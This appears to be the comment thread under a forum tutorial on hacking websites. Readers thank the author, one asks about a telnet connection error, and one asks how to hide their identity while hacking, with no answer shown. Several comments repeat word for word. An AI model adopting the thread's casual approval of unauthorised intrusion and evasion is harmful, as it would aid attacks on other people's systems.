[Start > RUN > telnet]

Once done type, O <IP> <PORT>

i write telnet O the ip and in port i put 23 but it gives me an error what should i do?

hi im a mac use and when i try..Open Telnet

[Start > RUN > telnet]

Once done type, O <IP> <PORT>

i write telnet O the ip and in port i put 23 but it gives me an error what should i do?

2me4u - January 15, 2012, 2:14 am

good tutorial, thanks for the share. different from all the other ones out there.

Joe67 - January 15, 2012, 2:39 am

Will try . Thank you this tut look good

GRIFFnDOOR - January 18, 2012, 6:56 pm

Thanks for the tutorial! Few newbie security questions though:

- 1.What precautions should be taken to protect your identity when hacking a website?
 - Should all this be done in a virtual machine that uses a vpn
 - Should I download Nmap and other programs you mention in my VM?
 - Should I run any of this in a sandbox?

Thank again! ?

Thanks for the tutorial! Few newbie security questions though:

- 1.What precautions should be taken to protect your identity when hacking a website?
 - Should all this be done in a virtual machine that uses a vpn

- Should I download Nmap and other programs you mention in my VM?
- Should I run any of this in a sandbox?

Thank again! ?

Thanks for the tutorial! Few newbie security questions though:

1.What precautions should be taken to protect your identity when hacking a website?

- Should all this be done in a virtual machine that uses a vpn
- Should I download Nmap and other programs you mention in my VM?
- Should I run any of this in a sandbox?

Thank again! ?

lemondragon - January 19, 2012, 1:05 pm

This was exactly where I was looking for THANKS A THOUSAND TIMES.

V\$VP - January 19, 2012, 3:55 pm

Looks great, I guess I will try it, hopefully it will work!

Hex B0mb3r - January 19, 2012, 6:36 pm

Thanks Man!

Great Tut

:) :)

iwillkillyou - January 19, 2012, 6:38 pm

damn luck at you! thanks for the tut, looks easy. ill try it.

Isitpossibleat1nce - January 19, 2012, 9:46 pm

good work dude ;) thanks for the tut

Nepal Cyber Army - January 20, 2012, 1:21 am

Ya nice tutorial and good make up of the exploits and have a good luck.

einbrettholz - January 20, 2012, 3:28 am

nice man, really nice.. high value post. tips hat

PROGHACKER - March 7, 2014, 2:25 am

Awsome will try it soon. May be it will work

J. Bawz - March 7, 2014, 2:33 am

WOW IT WORKED I HACKED GOOGLE!! THANK YOU

Godsent - March 7, 2014, 2:59 am

It's a nice tutorial, will definitely help the people who wants to learn.

Smoking - March 7, 2014, 3:08 am

nice post I will use this!!!! thanks

blacksubmarine - March 7, 2014, 10:20 am

Good and great tutorial. THANK for ALL